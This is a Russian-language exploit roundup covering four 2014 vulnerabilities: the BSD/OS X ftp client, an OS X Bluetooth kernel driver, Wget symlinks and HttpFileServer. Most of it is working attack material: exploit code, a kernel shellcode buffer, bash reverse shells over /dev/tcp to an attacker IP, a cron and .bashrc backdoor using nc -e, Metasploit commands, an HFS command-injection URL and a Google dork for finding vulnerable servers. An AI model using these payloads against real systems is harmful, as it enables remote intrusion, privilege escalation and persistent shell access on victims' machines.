Содержание статьи
warning
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Удаленное выполнение кода в FTP-клиенте в OS X / BSD
- CVSSv2: 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
- Дата релиза: 26 октября 2014 года
- Автор: Jared Mcneill
- CVE: 2014-8517
Начнем с уязвимости, которой подвержены многие BSD-системы, включая последнюю версию OS X. Если мы выполним следующую команду:
ftp http://server/path/file.txt
и не укажем имя выходного файла через параметр -o
, то FTP-клиент можно заставить выполнить произвольную команду.
Суть ошибки в том, что FTP-клиент будет следовать полученным HTTP-редиректам и использовать часть пути, идущего после последнего символа /
из последнего ресурса как выходной файл (если не был указан какой‑то другой через параметр -o
). После того как будет получено имя выходного файла, клиент проверяет, начинается ли оно с символа |
, и, если это так, передает его в popen(3). Ниже представлен небольшой тестовый CGI-скрипт от автора, который он проверил в NetBSD 7.99.1 и OS X 10.10 и который исполняет знаменитую команду uname
.
$ cat redirect
#!/bin/shecho 'Status: 302 Found'echo 'Content-Type: text/html'echo 'Connection: keep-alive'echo 'Location: http://192.168.2.19/cgi-bin/|uname%20-a'echo$ ftp http://localhost/cgi-bin/redirect
...
32 bytes retrieved in 00:00 (78.51 KiB/s)NetBSD a20 7.99.1 NetBSD 7.99.1 (CUBIEBOARD) #113: Sun Oct 26 12:05:36ADT 2014
Jared () Jared-PC:/cygdrive/d/netbsd/src/sys/arch/evbarm/compile/obj/CUBIE
BOARD evbarm
EXPLOIT
Мы же воспользуемся готовым эксплойтом на Python. Он представляет собой небольшой сервер, который возвращает специальный хедер при любом запросе к атакующему серверу и выполняет выбранную команду в системе пользователя. Здесь мы также выполним uname
и echo
произвольной строки
cmd = "uname -a; echo You probably shouldnt execute random code from the Internet. Just saying."cmd = urllib.quote(cmd)redir = "http://" + hostname + ":" + str(port) + "/cgi-bin/|" + cmd
Далее просто отправляем хедер с таким значением при запросе:
s.send_response(302)s.send_header("Location", redir)s.end_headers()
Полный код эксплойта ты можешь скачать с одного из сайтов. На скриншоте приведен
TARGETS
- FreeBSD 10;
- OS X 10.10 (Yosemite).
Также уязвимы некоторые версии DragonFly BSD и NetBSD.
SOLUTION
Есть исправление от производителя в некоторых ОС. На момент написания статьи код успешно выполнялся в Yosemite
Повышение привилегий в OS X через IOBluetoothHCIController
- CVSSv2: N/A
- Дата релиза: 30 октября 2014 года
- Автор: joystick, rpaleari
- CVE: N/A
С каждым днем эксплуатация уязвимостей на уровне пользователя становится все сложней и сложней из‑за появления различных средств защиты, включающих в себя ASLR, NX или выполнение в песочнице. Поэтому, чтобы обойти такие средства, исследователи выбирают более «легкий» путь и двигаются в сторону уровня ядра, где такие средства отсутствуют или их обход более прост (KASLR и SMEP есть далеко не везде и только в последних версиях операционных систем). В подтверждение этому мы можем посмотреть на количество подобных уязвимостей, которые были найдены за последние месяцы в Windows, Linux и OS X.
В связи с такой тенденцией авторы уязвимости решили посмотреть несколько OS X драйверов («kext») и нашли ошибку с неправильным знаком целочисленной переменной в сервисе IOBluetoothHCIController (из IOBluetoothFamily). Эта уязвимость позволяет атакующему локально получить привилегии администратора. Ей подвержены последние версии OS X Maveriks.
Сам баг находится внутри функции IOBluetoothHCIUserClient::
. Данная функция берет 32-битную знаковую целочисленную переменную и использует ее как индекс глобального массива в структуре, которая содержит указатель функции. А далее выбранный указатель будет вызван. И как ты можешь заметить, функция SimpleDispatchWL(
недостаточно правильно проверяет этот индекс, что и приводит к плачевному результату.
Ниже представлен псевдокод некоторых частей этой функции:
typedef struct { void (*function_pointer)(); uint64 num_arguments;} BluetoothMethod;BluetoothMethod _sRoutines[] = { ...};uint64 _sRoutineCount = sizeof(_sRoutines)/sizeof(BluetoothMethod);
Далее 32-битное знаковое целое число преобразуется в 64-битное. Затем эта переменная проверяется следующим условием: если полученное знаковое число больше, чем количество доступных методов в глобальном массиве _sRoutines
, то вернуть ошибку. В нашем же случае любое отрицательное число в переменной method_index
пройдет этот тест:
IOReturn IOBluetoothHCIUserClient::SimpleDispatchWL(IOBluetoothHCIDispatchParams *params) { // Параметр user_param — это 32-битное знаковое целое число int64 method_index = (int64) user_param; if (method_index >= _sRoutineCount) { return kIOReturnUnsupported; }
Теперь значение method_index
используется для получения доступа к переменной из массива _sRoutine
. Вызываем полученный метод через функцию method.
:
BluetoothMethod method = _sRoutines[method_index]; ... if (method.num_arguments < 8) { method.function_pointer(...); } ...}
EXPLOIT
До полноценного эксплойта нашему не хватает возможности обхода SMEP/SMAP и KASLR. Когда авторы уязвимости демонстрировали ее, они отключали оба этих метода защиты.
Но так как многие до сих пор используют предыдущую версию OS X, для удачной атаки достаточно подсчитать значение пользовательского параметра, которое позволит нам обратиться к индексу структуры BluetoothMethod
, и полученный BluetoothMethod.
будет содержать правильный адрес (там, где лежит наш шелл‑код). При этом BluetoothMethod.
должно быть меньше восьми, чтобы пройти проверку.
В фрагменте C-кода, представленном выше, значение 32-битной переменной user_param
вначале преобразуется в 64-битное, а затем используется как индекс массива. Каждый элемент глобального массива _sRoutines
имеет 16-битный размер (два 8-битных значения). Ниже представлен ассемблерный код этого действия.
; r12+70h указывает на пользовательское значение индексаmov ecx, [r12+70h]mov r13d, kIOReturnUnsupportedlea rdx, _sRoutineCountcmp ecx, [rdx]jge fail; Переходим и получаем значение _sRoutine[method_index]...movsxd rax, ecx ; Знаковое преобразование в 64-битное значениеshl rax, 4 ; method_index *= sizeof(BluetoothMethod)lea rdx, _sRoutinesmov esi, [rdx+rax+8] ; esi = _sRoutines[method_index].num_argumentscmp esi, 7 ; Проверка method.num_arguments < 8ja loc_289BA...
На более высоком уровне адрес структуры BluetoothMethod
, полученный при обработке значения индекса user_param
, вычисляется по следующей формуле:
struct_addr = (ext(user_param & 0xffffffff) * 16) + _sRoutine
где функция ext(
— это знаковая операция (она представлена в виде инструкции movsxd
из кода выше).
Решив эту формулу для user_param
и поискав подходящее адресное пространство внутри ядра, авторы уязвимости обнаружили адреса, удовлетворяющие нашим условиям (правильный указатель должен быть представлен целым числом меньше восьми). Теперь нам нужно разметить область памяти, используя функцию mmap(
, для шелл‑кода, соединиться с сервисом IOBluetoothHCIController
и вызвать уязвимый метод.
int main(void) { /* Разметим память (ядро перейдет по tgt+7) */ vm_address_t tgt = 0x0000048800000000; vm_allocate(mach_task_self(), &tgt, 0x1000, 0); vm_protect(mach_task_self(), tgt, 0x1000, 0, VM_PROT_READ|VM_PROT_WRITE|VM_PROT_EXECUTE); memset((void *)tgt, 0, 0x1000); /* Подготовка полезной нагрузки */ char *target = (char *)tgt; /* mov rax, payload */ target[7] = 0x48; target[8] = 0xb8; *((uint64_t *)(&target[9])) = (uint64_t) payload; /* jmp rax */ target[17] = 0xff; target[18] = 0xe0;
Ищем уязвимый сервис:
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController")); if (!service) { return -1; }
Присоединяемся к уязвимому сервису:
io_connect_t port = (io_connect_t) 0; kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port); IOObjectRelease(service); if (kr != kIOReturnSuccess) { return kr; }
Первые восемь байт должны быть 0, потому что нам не нужно, чтобы были обработаны следующие параметры. Далее значение индекса 0xfff5b6a8
в _sRoutines[
делает указатель на область в памяти ядра, которая содержит {
, где 0 <
. Для других версий OS X может быть изменена:
char a[] = "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x07\x02\x00\x00\x00\x11\x0a\x00\x00\x03\x72\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\xe8\xfa\x2a\x54\xff\x7f\x00\x00\x78\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xa8\xfb\x2a\x54\xff\x7f\x00\x00\xd8\xfa\x2a\x54\xff\x7f\x00\x00\x60\x4a\xb6\x86" "\x80\xff\xff\xff" "\xa8\xb6\xf5\xff\x80\xff\xff\xff"; ... kr = IOConnectCallMethod((mach_port_t) port, /* Connection */ (uint32_t) 0, /* Selector */ NULL, 0, /* input, inputCnt */ (const void*) a, /* inputStruct */ sizeof(a), /* inputStructCnt */ NULL, NULL, NULL, NULL); /* Output stuff */ /* Выполняем здесь шелл после возвращение полезной нагрузки */ return IOServiceClose(port);}
Полный текст эксплойта ты можешь найти на сайте одного из авторов.
Так как в Yosemite уязвимость перестала работать и авторы уязвимости не нашли об этом упоминаний в списке изменений, то они решили сравнить файлы из этих ОС с уязвимым сервисом (например, MD5-хеши из уязвимых версий OS X Mavericks 10.9.4 и 10.9.5 — 2a55b7dac51e3b546455113505b25e75 и b7411f9d80bfeab47f3eaff3c36e128f соответственно).
На скриншоте представлено сравнение драйвера IOBluetoothFamily из 10.9.x и 10.10, где у нас в оранжевом блоке сравнивается полученное значение индекса от пользователя с _sRoutineCount. А в Yosemite, как мы видим, была добавлена еще одна проверка на положительность знака (зеленый блок справа).
Если доработать этот эксплойт и объединить его с предыдущим, то можно получить неплохое средство для пентеста различных корпоративных макбуков. Владельцев которых всего лишь надо «попросить» обратиться к своему FTP-серверу :).
TARGETS
Протестировано на OS X 10.9.4 и 10.9.5. Но возможно, уязвимы и ранние версии.
SOLUTION
Эту уязвимость Apple исправила по‑тихому в Yosemite.
Уязвимые симлинки в Wget
- CVSSv2: 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
- Дата релиза: 30 октября 2014 года
- Автор: hdm
- CVE: 2014-4877
Wget позволяет скачивать файлы по протоколам HTTP, HTTPS и FTP. Вот как раз с последним и возникла проблема.
Версии Wget до 1.16 можно атаковать, если они запущены в рекурсивном режиме и пытаются обратиться к FTP-серверу. Уязвимость позволяет атакующему, который владеет таким сервером, создавать произвольные файлы, директории или символьные ссылки в системе пользователя. В ходе такой атаки можно переписать содержимое файлов, включая бинарные, и получить доступ к файлам, которые доступны пользователю, запустившему утилиту Wget. В итоге благодаря этой ошибке мы можем удаленно выполнить произвольный код на уровне системы (например, cron) или на уровне пользователя — bash-профайлы и SSH-ключи.
Саму же уязвимость можно воспроизвести следующим образом. Когда утилита Wget получает список директорий на сервере, то они включают в себя симлинки, ведущие на директорию с таким же именем. Например, ниже представлен подобный вывод команды LIST
для FTP-сервера (в реальном мире ты вряд ли его встретишь):
lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> /
drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET
После этого Wget создаст локальный симлинк с именем TARGET
, который указывает на корневую файловую систему. После того как она зайдет в директорию TARGET
, содержимое этой папки отразится на диске пользователя.
EXPLOIT
Автором уязвимости был сразу представлен Metasploit-модуль, что очень облегчает нам эксплуатацию этой уязвимости. На момент написания статьи эксплойт не был доступен в основной базе фреймворка, поэтому пришлось вручную скопировать код из GitHub- репозитория в созданный файл по следующему адресу:
root@kali:~# nano /opt/metasploit/apps/pro/msf3/modules/auxiliary/server/wget_symlink_file_write.rb
Помимо модуля, автор также опубликовал пример эксплуатации, который мы и разберем.
После того как у нас появился модуль с нужной уязвимостью, сгенерируем полезный код, который будет открывать соединение к машине атакующего:
root@kali:~# msfpayload cmd/unix/reverse_bash LHOST=192.168.41.180 LPORT=4444 R
0<&34-;exec 34<>/dev/tcp/192.168.41.180/4444;sh <&34 >&34 2>&34
Теперь создадим файл cronshell
, используя полученный код:
root@kali:~# cat>cronshell <<EODPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin* * * * * root bash -c '0<&34-;exec 34<>/dev/tcp/192.168.41.180/4444;sh <&34 >&34 2>&34'; rm -f /etc/cron.d/cronshellEOD
Далее запустим модуль, который будет ждать пакетов от пользователя:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.41.180
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > run -j
Ну и наконец‑то можно запустить сам модуль:
msf exploit(handler) > use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell
msf auxiliary(wget_symlink_file_write) > set SRVPORT 21
msf auxiliary(wget_symlink_file_write) > run
В переменной TARGET_FILE
мы указываем файл, на который будет вести символьная ссылка и который будет перезаписан. А в TARGET_DATA
мы указываем данные, которые будут записаны в этот файл. В нашем случае используется заранее созданный файл, но можно указать текст вручную, пример этого представлен ниже.
Можно обойтись без cron и открыть удаленный доступ штатными средствами, который будет постоянно открываться при вводе пользователем команды из‑под администратора (например, при вводе команды su
):
set TARGET_FILE /root/.bashrc
set TARGET_DATA nc localhost 2222 -e /bin/bash &
После этого Metasploit выдаст ссылку, при вводе которой пользователь выполнит наш код:
Targets should run: $ wget -m ftp://192.168.41.180:21/
Один из исследователей опубликовал видео на YouTube по эксплуатации этой уязвимостей.
Различные ИБ‑специалисты предлагают дать этой уязвимости собственное название схожее с ShellShosk: строка смерти (string of death), WGETBLEED или wtfget.
TARGETS
Wget 1.12–1.15.
SOLUTION
Есть исправление от производителя, или можно запретить использование символических ссылок утилитой Wget, исправив глобальный /
или пользовательский файл с настройками ~/.
:
retr-symlinks=on
Удаленное выполнение кода в HttpFileServer 2.3.x
- CVSSv2: 7.5 (Av:R/Ac:L/A:N/C:P/I:P/A:P)
- Дата релиза: 11 сентября 2014 года
- Автор: Daniele Linguaglossa
- CVE: 2014-6287
Рассмотрим теперь уязвимость в программе для создания файлового сервера или быстрого расшаривания файлов и обмена файлами в локальной сети в ОС под управлением Windows. Сама программа существует примерно с 2002 года и обновляется по сей день. При этом до сих пор остается бесплатной и поставляется без рекламы в самой программе или установочном пакете.
Несколько плюсов использования этой программы:
- сервер реализован в виде веб‑сервера;
- открытый исходный код;
- виртуальная файловая система;
- HTML-шаблоны;
- поддержка макросов.
Как раз последний функционал, добавленный в начале этого года, и сделал возможной успешную атаку. С помощью таких скриптов‑макросов можно сохранять файлы и исполнять команды, о чем говорится в документации к серверу. Причем в качестве примера приводится запуск блокнота:
{.exec|notepad.}
В файле ParserLib.
находится функция поиска макросов:
function findMacroMarker(s:string; ofs:integer=1):integer;begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;
С помощью регулярного выражения эта функция различает макрос, после чего останавливается, и переданный скрипт выполняется — это и позволяет провести инъекцию своего произвольного кода. Передать же такой код мы можем, например, с помощью скрипта поиска search
, а обойти различные фильтры с помощью нулевого символа:
http://server.com/search=%00{.exec|cmd.}
Благодаря тому что сервер поставляется с исходным кодом, можно посмотреть, как была исправлена эта уязвимость. Для строчек, приходящих от пользователя, была добавлена следующая функция‑обработчик:
enforceNUL(txt);
Ее код мы привели на одном из скриншотов.
Как ты уже заметил, софт написан на старом добром Delphi. А сам разработчик пишет, что для компиляции использует олдскульный Turbo Delphi.
EXPLOIT
Синтаксис атакующей команды довольно прост, и мы можем без проблем запустить наш любимый калькулятор:
http://server.com/?search=%00{.exec|calc.
Не пугайся, что увидишь четыре запущенных калькулятора, это особенность работы функции по поиску макросов.
Помимо описанной атаки в лоб, существует Metasploit-модуль, который состоит из нескольких атакующих команд. Вначале мы сохраняем наш VBS-скрипт:
save|#{vbs_path}|#{vbs_code}
А потом запускаем его:
exec|wscript.exe //B //NOLOGO #{vbs_path}
Также в модуле реализовано одинарное срабатывание полезной нагрузки, вместо четырех, как при использовании атаки напрямую.
Эксплойт уже есть в стандартной базе, поэтому для тестирования достаточно обновиться и воспользоваться примерно следующим набором команд:
msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > set LHOST 192.168.41.146
msf exploit(rejetto_hfs_exec) > set RHOST 192.168.41.147
msf exploit(rejetto_hfs_exec) > exploit
Обрати внимание на скриншоты, на них можно заметить несколько минусов этого модуля:
- он просит удалить свой боевой VBS-скрипт, который сохраняет в папку
%TEMP%
; - в некоторых случаях он сам создает папку с именем
%TEMP%
в том же месте, откуда был запущен сервер; - в логе сервера видна наша атака.
В протестированных системах указаны Windows XP SP3, Windows 7 SP1, Windows 8 и Windows Server 2008.
Найти в интернете уязвимые серверы, которые используют такое ПО, можно с помощью дорка для Google:
intext:"httpfileserver 2.3"
И уязвимые серверы, к сожалению, находятся. Кстати, сервер успешно работает под Wine, о чем сообщают на сайте, что теоретически позволяет обнаружить в Сети *nix-серверы, использующие эту программу.
TARGETS
HttpFileServer 2.3–2.3c.
SOLUTION
Есть исправление от производителя.